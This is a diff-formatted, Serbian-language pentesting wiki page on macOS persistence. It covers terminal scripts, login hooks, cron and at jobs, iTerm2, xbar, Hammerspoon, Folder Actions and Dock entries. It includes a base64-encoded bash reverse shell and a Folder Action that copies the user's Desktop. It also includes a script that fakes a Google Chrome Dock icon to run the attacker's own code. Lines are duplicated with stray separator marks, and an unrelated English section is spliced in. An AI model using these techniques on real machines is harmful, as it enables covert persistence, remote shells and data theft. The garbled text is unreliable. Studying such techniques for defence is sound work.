Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||||
|
|
||||||
To možete dodati sa komandne linije pomoću:
|
To možete dodati sa komandne linije pomoću:
|
||||||
|
@ -241,6 +253,7 @@ To možete dodati sa komandne linije pomoću:
|
||||||
Ako kreirate [**`.terminal`** skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i otvorite ga, **Terminal aplikacija** će automatski biti pozvana da izvrši komande navedene unutra. Ako Terminal aplikacija ima neke posebne privilegije (kao što su TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
|
Ako kreirate [**`.terminal`** skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i otvorite ga, **Terminal aplikacija** će automatski biti pozvana da izvrši komande navedene unutra. Ako Terminal aplikacija ima neke posebne privilegije (kao što su TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
|
||||||
|
|
||||||
Probajte sa:
|
Probajte sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Prepare the payload
|
# Prepare the payload
|
||||||
cat > /tmp/test.terminal << EOF
|
cat > /tmp/test.terminal << EOF
|
||||||
|
@ -268,6 +281,7 @@ open /tmp/test.terminal
|
||||||
# Use something like the following for a reverse shell:
|
# Use something like the following for a reverse shell:
|
||||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Audio Plugins
|
### Audio Plugins
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||||
|
@ -334,6 +348,7 @@ Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-o
|
||||||
* `Lo`ciran u `~/Library/Preferences/com.apple.loginwindow.plist`
|
* `Lo`ciran u `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||||
|
|
||||||
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > $HOME/hook.sh << EOF
|
cat > $HOME/hook.sh << EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -343,7 +358,9 @@ chmod +x $HOME/hook.sh
|
||||||
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
||||||
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
Ova postavka je sačuvana u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` datoteci.
|
Ova postavka je sačuvana u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` datoteci.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
||||||
{
|
{
|
||||||
|
@ -355,11 +372,14 @@ TALLogoutSavesState = 0;
|
||||||
oneTimeSSMigrationComplete = 1;
|
oneTimeSSMigrationComplete = 1;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Da biste ga obrisali:
|
Da biste ga obrisali:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
defaults delete com.apple.loginwindow LoginHook
|
defaults delete com.apple.loginwindow LoginHook
|
||||||
defaults delete com.apple.loginwindow LogoutHook
|
defaults delete com.apple.loginwindow LogoutHook
|
||||||
```
|
```
|
||||||
|
|
||||||
Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||||
|
|
||||||
## Uslovno zaobilaženje peska
|
## Uslovno zaobilaženje peska
|
||||||
|
@ -386,23 +406,29 @@ Ovde možete pronaći lokacije pokretanja korisne za **zaobilaženje peska** koj
|
||||||
#### Opis & Eksploatacija
|
#### Opis & Eksploatacija
|
||||||
|
|
||||||
Izlistajte cron poslove **trenutnog korisnika** sa:
|
Izlistajte cron poslove **trenutnog korisnika** sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
crontab -l
|
crontab -l
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potreban je root).
|
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potreban je root).
|
||||||
|
|
||||||
Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte s **određenom učestalošću**:
|
Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte s **određenom učestalošću**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovde možete pronaći redovne **cron** **poslove**, **at** **poslove** (koji se retko koriste) i **periodične** **poslove** (uglavnom korišćene za čišćenje privremenih fajlova). Dnevni periodični poslovi mogu biti izvršeni na primer sa: `periodic daily`.
|
Ovde možete pronaći redovne **cron** **poslove**, **at** **poslove** (koji se retko koriste) i **periodične** **poslove** (uglavnom korišćene za čišćenje privremenih fajlova). Dnevni periodični poslovi mogu biti izvršeni na primer sa: `periodic daily`.
|
||||||
|
|
||||||
Za dodavanje **korisničkog cron posla programatski** moguće je koristiti:
|
Za dodavanje **korisničkog cron posla programatski** moguće je koristiti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||||
crontab /tmp/cron
|
crontab /tmp/cron
|
||||||
```
|
```
|
||||||
|
|
||||||
### iTerm2
|
### iTerm2
|
||||||
|
|
||||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||||
|
@ -423,6 +449,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevi
|
||||||
#### Opis & Eksploatacija
|
#### Opis & Eksploatacija
|
||||||
|
|
||||||
Skripte smeštene u **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** će biti izvršene. Na primer:
|
Skripte smeštene u **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** će biti izvršene. Na primer:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -431,6 +458,7 @@ EOF
|
||||||
|
|
||||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||||
```
|
```
|
||||||
|
|
||||||
## macOS Auto Start Locations
|
## macOS Auto Start Locations
|
||||||
|
|
||||||
### Launch Agents
|
### Launch Agents
|
||||||
|
@ -448,6 +476,7 @@ Login Items are applications that open when a user logs in. They are managed in
|
||||||
### Startup Items
|
### Startup Items
|
||||||
|
|
||||||
Startup Items are legacy items that automatically launch when a system boots up. They are stored in `/Library/StartupItems/`.
|
Startup Items are legacy items that automatically launch when a system boots up. They are stored in `/Library/StartupItems/`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
@ -464,10 +493,13 @@ await iterm2.Window.async_create(connection)
|
||||||
iterm2.run_forever(main)
|
iterm2.run_forever(main)
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
|
|
||||||
Skripta **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** će takođe biti izvršena:
|
Skripta **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** će takođe biti izvršena:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||||
```
|
```
|
||||||
|
|
||||||
Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal.
|
Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal.
|
||||||
|
|
||||||
Ovu postavku možete konfigurisati u postavkama iTerm2:
|
Ovu postavku možete konfigurisati u postavkama iTerm2:
|
||||||
|
@ -475,6 +507,7 @@ Ovu postavku možete konfigurisati u postavkama iTerm2:
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
A komanda se odražava u postavkama:
|
A komanda se odražava u postavkama:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
plutil -p com.googlecode.iterm2.plist
|
plutil -p com.googlecode.iterm2.plist
|
||||||
{
|
{
|
||||||
|
@ -484,6 +517,7 @@ plutil -p com.googlecode.iterm2.plist
|
||||||
[...]
|
[...]
|
||||||
"Initial Text" => "touch /tmp/iterm-start-command"
|
"Initial Text" => "touch /tmp/iterm-start-command"
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete postaviti komandu za izvršenje sa:
|
Možete postaviti komandu za izvršenje sa:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -520,6 +554,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevi
|
||||||
#### Opis
|
#### Opis
|
||||||
|
|
||||||
Ako je instaliran popularni program [**xbar**](https://github.com/matryer/xbar), moguće je napisati shell skriptu u **`~/Library/Application\ Support/xbar/plugins/`** koja će se izvršiti kada se xbar pokrene:
|
Ako je instaliran popularni program [**xbar**](https://github.com/matryer/xbar), moguće je napisati shell skriptu u **`~/Library/Application\ Support/xbar/plugins/`** koja će se izvršiti kada se xbar pokrene:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -527,6 +562,7 @@ touch /tmp/xbar
|
||||||
EOF
|
EOF
|
||||||
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Hammerspoon
|
### Hammerspoon
|
||||||
|
|
||||||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||||
|
@ -546,12 +582,14 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
||||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju za **macOS**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja.
|
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju za **macOS**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja.
|
||||||
|
|
||||||
Aplikacija traži jedan fajl, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena.
|
Aplikacija traži jedan fajl, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir -p "$HOME/.hammerspoon"
|
mkdir -p "$HOME/.hammerspoon"
|
||||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||||
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
|
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
|
|
||||||
### BetterTouchTool
|
### BetterTouchTool
|
||||||
|
|
||||||
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
||||||
|
@ -597,6 +635,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.git
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Za uključivanje ssh-a potreban je pristup celom disku:
|
Za uključivanje ssh-a potreban je pristup celom disku:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo systemsetup -setremotelogin on
|
sudo systemsetup -setremotelogin on
|
||||||
```
|
```
|
||||||
|
@ -627,6 +666,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
||||||
|
|
||||||
U Sistemskim postavkama -> Korisnici & Grupa -> **Stavke za prijavljivanje** možete pronaći **stavke koje će se izvršiti kada se korisnik prijavi**.\
|
U Sistemskim postavkama -> Korisnici & Grupa -> **Stavke za prijavljivanje** možete pronaći **stavke koje će se izvršiti kada se korisnik prijavi**.\
|
||||||
Moguće ih je izlistati, dodati i ukloniti sa komandne linije:
|
Moguće ih je izlistati, dodati i ukloniti sa komandne linije:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List all items:
|
#List all items:
|
||||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||||
|
@ -637,6 +677,7 @@ osascript -e 'tell application "System Events" to make login item at end with pr
|
||||||
#Remove an item:
|
#Remove an item:
|
||||||
osascript -e 'tell application "System Events" to delete login item "itemname"'
|
osascript -e 'tell application "System Events" to delete login item "itemname"'
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||||
|
|
||||||
**Stavke za prijavljivanje** takođe mogu biti naznačene korišćenjem API-ja [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) koji će sačuvati konfiguraciju u **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
**Stavke za prijavljivanje** takođe mogu biti naznačene korišćenjem API-ja [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) koji će sačuvati konfiguraciju u **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||||
|
@ -666,20 +707,27 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevi
|
||||||
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim rizikom u određenim uslovima.
|
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim rizikom u određenim uslovima.
|
||||||
|
|
||||||
Podrazumevano su **onemogućeni**, ali **root** korisnik može **omogućiti** **njih** sa:
|
Podrazumevano su **onemogućeni**, ali **root** korisnik može **omogućiti** **njih** sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovo će kreirati fajl za 1 sat:
|
Ovo će kreirati fajl za 1 sat:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||||
```
|
```
|
||||||
|
|
||||||
Proverite red poslova koristeći `atq:`
|
Proverite red poslova koristeći `atq:`
|
||||||
|
|
||||||
```shell-session
|
```shell-session
|
||||||
sh-3.2# atq
|
sh-3.2# atq
|
||||||
26 Tue Apr 27 00:46:00 2021
|
26 Tue Apr 27 00:46:00 2021
|
||||||
22 Wed Apr 28 00:29:00 2021
|
22 Wed Apr 28 00:29:00 2021
|
||||||
```
|
```
|
||||||
|
|
||||||
Iznad možemo videti dva zakazana posla. Detalje posla možemo odštampati koristeći `at -c BROJPOSLA`
|
Iznad možemo videti dva zakazana posla. Detalje posla možemo odštampati koristeći `at -c BROJPOSLA`
|
||||||
|
|
||||||
```shell-session
|
```shell-session
|
||||||
sh-3.2# at -c 26
|
sh-3.2# at -c 26
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
@ -710,11 +758,13 @@ exit 1
|
||||||
unset OLDPWD
|
unset OLDPWD
|
||||||
echo 11 > /tmp/at.txt
|
echo 11 > /tmp/at.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ako zadaci AT nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
Ako zadaci AT nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Datoteke poslova** mogu se pronaći na `/private/var/at/jobs/`
|
**Datoteke poslova** mogu se pronaći na `/private/var/at/jobs/`
|
||||||
|
|
||||||
```
|
```
|
||||||
sh-3.2# ls -l /private/var/at/jobs/
|
sh-3.2# ls -l /private/var/at/jobs/
|
||||||
total 32
|
total 32
|
||||||
|
@ -723,6 +773,7 @@ total 32
|
||||||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||||
```
|
```
|
||||||
|
|
||||||
Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
||||||
|
|
||||||
* `a` - ovo je red
|
* `a` - ovo je red
|
||||||
|
@ -758,9 +809,11 @@ Za postavljanje Akcija fascikle, imate opcije kao što su:
|
||||||
1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servisa.
|
1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servisa.
|
||||||
2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekstualnom meniju fascikle.
|
2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekstualnom meniju fascikle.
|
||||||
3. Korišćenje OSAScripta za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle.
|
3. Korišćenje OSAScripta za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle.
|
||||||
|
|
||||||
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti.
|
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti.
|
||||||
|
|
||||||
Naredni skript je primer onoga što može biti izvršeno putem Akcije fascikle:
|
Naredni skript je primer onoga što može biti izvršeno putem Akcije fascikle:
|
||||||
|
|
||||||
```applescript
|
```applescript
|
||||||
// source.js
|
// source.js
|
||||||
var app = Application.currentApplication();
|
var app = Application.currentApplication();
|
||||||
|
@ -770,11 +823,15 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
||||||
app.doShellScript("mkdir /tmp/asd123");
|
app.doShellScript("mkdir /tmp/asd123");
|
||||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||||
```
|
```
|
||||||
|
|
||||||
Da biste napravili gore navedeni skript upotrebljivim za Akcije fascikle, kompajlirajte ga koristeći:
|
Da biste napravili gore navedeni skript upotrebljivim za Akcije fascikle, kompajlirajte ga koristeći:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osacompile -l JavaScript -o folder.scpt source.js
|
osacompile -l JavaScript -o folder.scpt source.js
|
||||||
```
|
```
|
||||||
|
|
||||||
Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će prikačiti prethodno kompajliranu skriptu na Desktop folder.
|
Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će prikačiti prethodno kompajliranu skriptu na Desktop folder.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// Enabling and attaching Folder Action
|
// Enabling and attaching Folder Action
|
||||||
var se = Application("System Events");
|
var se = Application("System Events");
|
||||||
|
@ -784,10 +841,13 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
||||||
se.folderActions.push(fa);
|
se.folderActions.push(fa);
|
||||||
fa.scripts.push(myScript);
|
fa.scripts.push(myScript);
|
||||||
```
|
```
|
||||||
|
|
||||||
Pokrenite skriptu podešavanja sa:
|
Pokrenite skriptu podešavanja sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osascript -l JavaScript /Users/username/attach.scpt
|
osascript -l JavaScript /Users/username/attach.scpt
|
||||||
```
|
```
|
||||||
|
|
||||||
* Ovo je način da implementirate ovu postojanost putem GUI-ja:
|
* Ovo je način da implementirate ovu postojanost putem GUI-ja:
|
||||||
|
|
||||||
Ovo je skripta koja će biti izvršena:
|
Ovo je skripta koja će biti izvršena:
|
||||||
|
@ -806,10 +866,12 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||||
Kompajlirajte ga sa: `osacompile -l JavaScript -o folder.scpt source.js`
|
Kompajlirajte ga sa: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||||
|
|
||||||
Pomerite ga na:
|
Pomerite ga na:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
```
|
```
|
||||||
|
|
||||||
Zatim otvorite aplikaciju `Folder Actions Setup`, izaberite **folder koji želite da pratite** i izaberite u vašem slučaju **`folder.scpt`** (u mom slučaju sam ga nazvao output2.scp):
|
Zatim otvorite aplikaciju `Folder Actions Setup`, izaberite **folder koji želite da pratite** i izaberite u vašem slučaju **`folder.scpt`** (u mom slučaju sam ga nazvao output2.scp):
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||||
|
@ -821,7 +883,9 @@ Ova konfiguracija je sačuvana u **plist** fajlu koji se nalazi u **`~/Library/P
|
||||||
Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||||
|
|
||||||
1. **Kopirajte `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u `/tmp` da biste napravili rezervnu kopiju:
|
1. **Kopirajte `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u `/tmp` da biste napravili rezervnu kopiju:
|
||||||
|
|
||||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||||
|
|
||||||
2. **Uklonite** Folder Actions koje ste upravo postavili:
|
2. **Uklonite** Folder Actions koje ste upravo postavili:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -865,6 +929,7 @@ killall Dock
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Korišćenjem nekog **socijalnog inženjeringa** mogli biste **npr. da se predstavite kao Google Chrome** unutar dock-a i zapravo izvršite svoj sopstveni skript:
|
Korišćenjem nekog **socijalnog inženjeringa** mogli biste **npr. da se predstavite kao Google Chrome** unutar dock-a i zapravo izvršite svoj sopstveni skript:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
|
||||||
|
@ -917,6 +982,7 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr
|
||||||
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||||||
killall Dock
|
killall Dock
|
||||||
```
|
```
|
||||||
|
|
||||||
### Birači boja
|
### Birači boja
|
||||||
|
|
||||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||||
|
@ -970,10 +1036,12 @@ Imajte na umu da binarni fajl koji učitava vašu biblioteku ima **vrlo restrikt
|
||||||
Primer aplikacije sa Finder Sync Ekstenzijom [**može se pronaći ovde**](https://github.com/D00MFist/InSync).
|
Primer aplikacije sa Finder Sync Ekstenzijom [**može se pronaći ovde**](https://github.com/D00MFist/InSync).
|
||||||
|
|
||||||
Aplikacije mogu imati `Finder Sync Ekstenzije`. Ova ekstenzija će biti smeštena unutar aplikacije koja će biti izvršena. Štaviše, da bi ekstenzija mogla da izvrši svoj kod, **mora biti potpisana** nekim validnim Apple-ovim sertifikatom, mora biti **u pesku** (mada se mogu dodati opuštena izuzetka) i mora biti registrovana sa nečim poput:
|
Aplikacije mogu imati `Finder Sync Ekstenzije`. Ova ekstenzija će biti smeštena unutar aplikacije koja će biti izvršena. Štaviše, da bi ekstenzija mogla da izvrši svoj kod, **mora biti potpisana** nekim validnim Apple-ovim sertifikatom, mora biti **u pesku** (mada se mogu dodati opuštena izuzetka) i mora biti registrovana sa nečim poput:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||||
pluginkit -e use -i com.example.InSync.InSync
|
pluginkit -e use -i com.example.InSync.InSync
|
||||||
```
|
```
|
||||||
|
|
||||||
### Screen Saver
|
### Screen Saver
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
